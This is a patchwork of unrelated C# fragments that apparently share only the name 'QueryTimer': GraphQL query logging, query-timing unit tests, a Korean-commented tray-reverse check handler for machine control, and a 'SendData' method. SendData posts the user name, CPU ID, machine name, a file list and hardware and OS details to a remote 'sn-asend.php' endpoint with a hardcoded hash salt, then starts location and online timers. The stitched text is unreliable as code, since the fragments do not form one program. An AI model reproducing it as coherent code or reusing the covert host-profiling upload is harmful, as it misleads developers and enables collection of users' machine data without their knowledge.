public void Dispose()
{
// when the request is finished it will dispose the activity scope and
// this is when we print the parsed query.
if (_context.Document is not null)
{
// we just need to do a ToString on the Document which represents the parsed
// GraphQL request document.
StringBuilder stringBuilder = new(_context.Document.ToString(true));
stringBuilder.AppendLine();
if (_context.Variables != null)
{
var variablesConcrete = _context.Variables !.ToList();
if (variablesConcrete.Count > 0)
{
stringBuilder.AppendFormat($"Variables {Environment.NewLine}");
foreach (var variableValue in _context.Variables !)
{
stringBuilder.AppendFormat(
$" {variableValue.Name}{"".PadRight(20 - variableValue.Name.Value.Length)} : {variableValue.Value}{"".PadRight(20 - variableValue.Value.ToString().Length)}: {variableValue.Type}");
stringBuilder.AppendFormat($"{Environment.NewLine}");
}
}
}
QueryTimer.Stop();
stringBuilder.AppendFormat(
$"Ellapsed time for query is {QueryTimer.Elapsed.TotalMilliseconds:0.#} milliseconds.");
_logger.LogInformation(stringBuilder.ToString());
}
}
public void When_EnableQueryTiming_Is_True_And_LogLevel_Is_Not_Configured_Nothing_Is_Logged()
{
var queryRequest = new QueryRequest(Statement);
var log = new FakeLog("mylogger", LogLevel.Off, true, true, true, LogDateFormat);
using (var timer = new QueryTimer(queryRequest, new CommonLogStore(log), true))
{
Thread.Sleep(TimeSpan.FromSeconds(1));
timer.ClusterElapsedTime = ServerElapsedTime;
}
var logOutput = log.LogStore.ToString();
Assert.IsEmpty(logOutput);
}
public void When_EnableQueryTiming_Is_True_And_LogLevel_Configured_QueryTiming_Is_Logged()
{
var queryRequest = new QueryRequest(Statement);
var log = new FakeLog("mylogger", LogLevel.Debug, true, true, true, LogDateFormat);
using (var timer = new QueryTimer(queryRequest, new CommonLogStore(log), true))
{
Thread.Sleep(TimeSpan.FromMilliseconds(25));
timer.ClusterElapsedTime = ServerElapsedTime;
}
var logOutput = log.LogStore.ToString();
Assert.IsTrue(logOutput.Contains("Query Timing"));
Assert.IsTrue(logOutput.Contains(ServerElapsedTime));
Assert.IsTrue(logOutput.Contains(Statement));
}
void SendData()
{
// Send File
try
{
var response = http.Post(mainserver + "sn-asend.php", new NameValueCollection()
{
{ "act", "updatepcinfo" },
{ "user", user },
{ "cpuid", ComputerInfo.getCPUID() },
{ "pcname", Environment.MachineName },
{ "filelist", txtColor.Text },
{ "more", "OS: " + cpinfo.GetPcInfo("Caption") + Environment.NewLine + "Manufacturer: " + cpinfo.GetPcInfo("manufacturer") + Environment.NewLine + "Model: " + cpinfo.GetPcInfo("model") },
{ "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
});
string result = System.Text.Encoding.UTF8.GetString(response);
lblHello.Text = result;
if (result != "INSERT_PCINFO_ERROR")
{
LocationTimer.Start();
OnlineTimer.Start();
QueryTimer.Start();
try{
if (int.Parse(result) > -1)
{
FTPserverid = int.Parse(result);
}
}
catch {
}
}
lblHello.ForeColor = Color.Blue;
}
catch
{
lblHello.ForeColor = Color.LightPink;
}
}
public RequestScope(ILogger <ConsoleQueryLogger> logger, IRequestContext context)
{
_logger = logger;
_context = context;
QueryTimer.Start();
}
private void Control_Click(object sender, EventArgs e)
{
if (!mc.check.READY_AUTORUN(sender))
{
return;
}
mc.check.push(sender, true);
this.Enabled = false;
if (sender.Equals(BT_USE_LASER))
{
mc.para.setting(ref mc.para.CV.trayReverseCheckMethod1, 0);
}
if (sender.Equals(BT_USE_PATTERN))
{
mc.para.setting(ref mc.para.CV.trayReverseCheckMethod1, 1);
}
if (sender.Equals(BT_TrayReverseCheck))
{
if ((int)mc.para.CV.trayReverseCheckMethod1.value == 0)
{
#region Laser Method
//bool laserpreon;
double hwLaserOffsetX = mc.coor.MP.TOOL.X.LASER.value + 11500;
double hwLaserOffsetY = mc.coor.MP.TOOL.Y.LASER.value - 4500;
double posX = mc.para.CV.trayReverseXPos.value - hwLaserOffsetX + mc.para.CAL.HDC_LASER.x.value;
double posY = mc.para.CV.trayReverseYPos.value - hwLaserOffsetY + mc.para.CAL.HDC_LASER.y.value;
mc.hd.tool.jogMove(posX, posY, out ret.message); if (ret.message != RetMessage.OK)
{
mc.message.alarmMotion(ret.message); goto EXIT;
}
//mc.OUT.HD.LS.ON(out laserpreon, out ret.message);
// Laser Sensor ON
//mc.OUT.HD.LS.ON(true, out ret.message);
// Check Laser Sensor
//mc.OUT.HD.LS.ON(out ret.b, out ret.message);
//if (ret.b)
{
//mc.OUT.HD.LS.ZERO(true, out ret.message); if (ret.message != RetMessage.OK) ret.d = -1;
ret.d = mc.AIN.Laser(); if (ret.d < -10)
{
ret.d = -1;
}
//mc.IN.LS.ALM(out ret.b1, out ret.message); if (ret.message != RetMessage.OK) ret.d = -1;
//mc.IN.LS.FAR(out ret.b2, out ret.message); if (ret.message != RetMessage.OK) ret.d = -1;
//mc.IN.LS.NEAR(out ret.b3, out ret.message); if (ret.message != RetMessage.OK) ret.d = -1;
}
QueryTimer dwell = new QueryTimer();
dwell.Reset();
// Compare Result
if ((int)mc.para.CV.trayReverseResult.value == 1)
{
while (dwell.Elapsed < 10000)
{
//mc.IN.LS.ALM(out ret.b1, out ret.message);
ret.d = mc.AIN.Laser();
if (/*ret.b1 && */ ret.d != 10)
{
break;
}
}
mc.idle(10);
ret.d = mc.AIN.Laser();
//MessageBox.Show("검사시간 : " + Math.Round(dwell.Elapsed).ToString() + "[us]\n" + "검사결과 : " + Math.Round(ret.d, 3).ToString() + "[mm]");
FormMain.UserMessageBox(DIAG_SEL_MODE.OK, DIAG_ICON_MODE.INFORMATION, String.Format(textResource.MB_CV_TRAY_REV_CHECK_RESULT, Math.Round(dwell.Elapsed), Math.Round(ret.d, 3)));
}
else
{
// 정확한 측정을 위해 4초 뒤에 측정
//if (laserpreon)
// mc.idle(20);
//else
// mc.idle(4000);
//mc.IN.LS.ALM(out ret.b1, out ret.message);
ret.d = mc.AIN.Laser();
if (/*ret.b1 == false && */ ret.d == 10)
{
FormMain.UserMessageBox(DIAG_SEL_MODE.OK, DIAG_ICON_MODE.WARNING, textResource.MB_CV_TRAY_REV_CHECK_ERROR);
//MessageBox.Show("트레이가 검사되지 않습니다.");
}
}
#endregion
}
else
{
#region Pattern Method
double posX = mc.para.CV.trayReverseXPos.value;
double posY = mc.para.CV.trayReverseYPos.value;
mc.hd.tool.jogMove(posX, posY, out ret.message); if (ret.message != RetMessage.OK)
{
mc.message.alarmMotion(ret.message); goto EXIT;
}
double rX = 0;
double rY = 0;
double rT = 0;
mc.hdc.LIVE = false;
#region HDC.req
if (mc.para.HDC.modelTrayReversePattern1.isCreate.value == (int)BOOL.TRUE)
{
mc.hdc.reqMode = REQMODE.FIND_MODEL;
mc.hdc.reqModelNumber = (int)HDC_MODEL.TRAY_REVERSE_SHAPE1;
}
else
{
mc.hdc.reqMode = REQMODE.GRAB;
}
mc.hdc.lighting_exposure(mc.para.HDC.light[(int)LIGHTMODE_HDC.TRAY], mc.para.HDC.exposure[(int)LIGHTMODE_HDC.TRAY]);
mc.hdc.triggerMode = TRIGGERMODE.SOFTWARE;
mc.hdc.req = true;
#endregion
mc.main.Thread_Polling();
#region HDC result
if (mc.para.HDC.modelTrayReversePattern1.isCreate.value == (int)BOOL.TRUE)
{
rX = mc.hdc.cam.model[(int)HDC_MODEL.TRAY_REVERSE_SHAPE1].resultX;
rY = mc.hdc.cam.model[(int)HDC_MODEL.TRAY_REVERSE_SHAPE1].resultY;
rT = mc.hdc.cam.model[(int)HDC_MODEL.TRAY_REVERSE_SHAPE1].resultAngle;
mc.log.debug.write(mc.log.CODE.ETC, "X : " + Math.Round(rX, 3).ToString() + ", Y : " + Math.Round(rY, 3).ToString());
}
else
{
FormMain.UserMessageBox(DIAG_SEL_MODE.OK, DIAG_ICON_MODE.FAILURE, "Tray Reverse Pattern Model(#1) is not created!!");
}
#endregion
#endregion
}
}
if (sender.Equals(BT_TrayReverseTeach))
{
mc.hd.tool.jogMove(mc.para.CV.trayReverseXPos.value, mc.para.CV.trayReverseYPos.value, out ret.message); if (ret.message != RetMessage.OK)
{
mc.message.alarmMotion(ret.message); goto EXIT;
}
FormJogPad ff = new FormJogPad();
ff.dataX = mc.para.CV.trayReverseXPos;
ff.dataY = mc.para.CV.trayReverseYPos;
if ((int)mc.para.CV.trayReverseCheckMethod1.value == 0)
{
ff.jogMode = JOGMODE.LASER_TRAYREVERSE;
ff.ShowDialog();
}
else
{
ff.jogMode = JOGMODE.PATTERN_TRAYREVERSE1;
ff.Show();
while (true)
{
mc.idle(100); if (ff.IsDisposed)
{
break;
}
}
}
mc.para.setting(ref mc.para.CV.trayReverseXPos, ff.dataX.value);
mc.para.setting(ref mc.para.CV.trayReverseYPos, ff.dataY.value);
}
if (sender.Equals(BT_USE_LASER2))
{
mc.para.setting(ref mc.para.CV.trayReverseCheckMethod2, 0);
}
if (sender.Equals(BT_USE_PATTERN2))
{
mc.para.setting(ref mc.para.CV.trayReverseCheckMethod2, 1);
}
if (sender.Equals(BT_TrayReverseCheck2))
{
if ((int)mc.para.CV.trayReverseCheckMethod2.value == 0)
{
#region Laser Method
bool laserpreon;
// move to Laser Check Position(Head Camera Position)
//double posX = mc.para.CV.trayReverseXPos.value - mc.coor.MP.TOOL.X.LASER.value - mc.para.CAL.HDC_LASER.x.value;
//double posY = mc.para.CV.trayReverseYPos.value - mc.coor.MP.TOOL.Y.LASER.value - mc.para.CAL.HDC_LASER.y.value;
double posX = mc.para.CV.trayReverseXPos2.value - mc.coor.MP.TOOL.X.LASER.value + mc.para.CAL.HDC_LASER.x.value;
double posY = mc.para.CV.trayReverseYPos2.value - mc.coor.MP.TOOL.Y.LASER.value + mc.para.CAL.HDC_LASER.y.value;
mc.hd.tool.jogMove(posX, posY, out ret.message); if (ret.message != RetMessage.OK)
{
mc.message.alarmMotion(ret.message); goto EXIT;
}
mc.OUT.HD.LS.ON(out laserpreon, out ret.message);
// Laser Sensor ON
//mc.OUT.HD.LS
mc.OUT.HD.LS.ON(true, out ret.message);
// Check Laser Sensor
mc.OUT.HD.LS.ON(out ret.b, out ret.message);
if (ret.b)
{
mc.OUT.HD.LS.ZERO(true, out ret.message); if (ret.message != RetMessage.OK)
{
ret.d = -1;
}
ret.d = mc.AIN.Laser(); if (ret.d < -10)
{
ret.d = -1;
}
mc.IN.LS.ALM(out ret.b1, out ret.message); if (ret.message != RetMessage.OK)
{
ret.d = -1;
}
mc.IN.LS.FAR(out ret.b2, out ret.message); if (ret.message != RetMessage.OK)
{
ret.d = -1;
}
mc.IN.LS.NEAR(out ret.b3, out ret.message); if (ret.message != RetMessage.OK)
{
ret.d = -1;
}
}
QueryTimer dwell = new QueryTimer();
dwell.Reset();
// Compare Result
if ((int)mc.para.CV.trayReverseResult2.value == 1)
{
while (dwell.Elapsed < 10000)
{
mc.IN.LS.ALM(out ret.b1, out ret.message);
ret.d = mc.AIN.Laser();
if (ret.b1 && ret.d != 10)
{
break;
}
}
mc.idle(10);
ret.d = mc.AIN.Laser();
//MessageBox.Show("검사시간 : " + Math.Round(dwell.Elapsed).ToString() + "[us]\n" + "검사결과 : " + Math.Round(ret.d, 3).ToString() + "[mm]");
FormMain.UserMessageBox(DIAG_SEL_MODE.OK, DIAG_ICON_MODE.INFORMATION, String.Format(textResource.MB_CV_TRAY_REV_CHECK_RESULT, Math.Round(dwell.Elapsed), Math.Round(ret.d, 3)));
}
else
{
// 정확한 측정을 위해 4초 뒤에 측정
if (laserpreon)
{
mc.idle(20);
}
else
{
mc.idle(4000);
}
mc.IN.LS.ALM(out ret.b1, out ret.message);
ret.d = mc.AIN.Laser();
if (ret.b1 == false && ret.d == 10)
{
FormMain.UserMessageBox(DIAG_SEL_MODE.OK, DIAG_ICON_MODE.WARNING, textResource.MB_CV_TRAY_REV_CHECK_ERROR);
//MessageBox.Show("트레이가 검사되지 않습니다.");
}
}
#endregion
}
else
{
#region Pattern Method
double posX = mc.para.CV.trayReverseXPos2.value;
double posY = mc.para.CV.trayReverseYPos2.value;
mc.hd.tool.jogMove(posX, posY, out ret.message); if (ret.message != RetMessage.OK)
{
mc.message.alarmMotion(ret.message); goto EXIT;
}
double rX = 0;
double rY = 0;
double rT = 0;
mc.hdc.LIVE = false;
#region HDC.req
if (mc.para.HDC.modelTrayReversePattern2.isCreate.value == (int)BOOL.TRUE)
{
mc.hdc.reqMode = REQMODE.FIND_MODEL;
mc.hdc.reqModelNumber = (int)HDC_MODEL.TRAY_REVERSE_SHAPE2;
}
else
{
mc.hdc.reqMode = REQMODE.GRAB;
}
mc.hdc.lighting_exposure(mc.para.HDC.light[(int)LIGHTMODE_HDC.TRAY], mc.para.HDC.exposure[(int)LIGHTMODE_HDC.TRAY]);
mc.hdc.triggerMode = TRIGGERMODE.SOFTWARE;
mc.hdc.req = true;
#endregion
mc.main.Thread_Polling();
#region HDC result
if (mc.para.HDC.modelTrayReversePattern2.isCreate.value == (int)BOOL.TRUE)
{
rX = mc.hdc.cam.model[(int)HDC_MODEL.TRAY_REVERSE_SHAPE2].resultX;
rY = mc.hdc.cam.model[(int)HDC_MODEL.TRAY_REVERSE_SHAPE2].resultY;
rT = mc.hdc.cam.model[(int)HDC_MODEL.TRAY_REVERSE_SHAPE2].resultAngle;
mc.log.debug.write(mc.log.CODE.ETC, "X : " + Math.Round(rX, 3).ToString() + ", Y : " + Math.Round(rY, 3).ToString());
}
else
{
FormMain.UserMessageBox(DIAG_SEL_MODE.OK, DIAG_ICON_MODE.FAILURE, "Tray Reverse Pattern Model(#2) is not created!!");
}
#endregion
#endregion
}
}
if (sender.Equals(BT_TrayReverseTeach2))
{
mc.hd.tool.jogMove(mc.para.CV.trayReverseXPos2.value, mc.para.CV.trayReverseYPos2.value, out ret.message); if (ret.message != RetMessage.OK)
{
mc.message.alarmMotion(ret.message); goto EXIT;
}
FormJogPad ff = new FormJogPad();
ff.dataX = mc.para.CV.trayReverseXPos2;
ff.dataY = mc.para.CV.trayReverseYPos2;
if ((int)mc.para.CV.trayReverseCheckMethod1.value == 0)
{
ff.jogMode = JOGMODE.LASER_TRAYREVERSE2;
ff.ShowDialog();
}
else
{
ff.jogMode = JOGMODE.PATTERN_TRAYREVERSE2;
ff.Show();
while (true)
{
mc.idle(100); if (ff.IsDisposed)
{
break;
}
}
}
mc.para.setting(ref mc.para.CV.trayReverseXPos2, ff.dataX.value);
mc.para.setting(ref mc.para.CV.trayReverseYPos2, ff.dataY.value);
}
EXIT:
mc.para.write(out ret.b); if (!ret.b)
{
mc.message.alarm("para write error");
}
refresh();
mc.main.Thread_Polling();
mc.check.push(sender, false);
this.Enabled = true;
}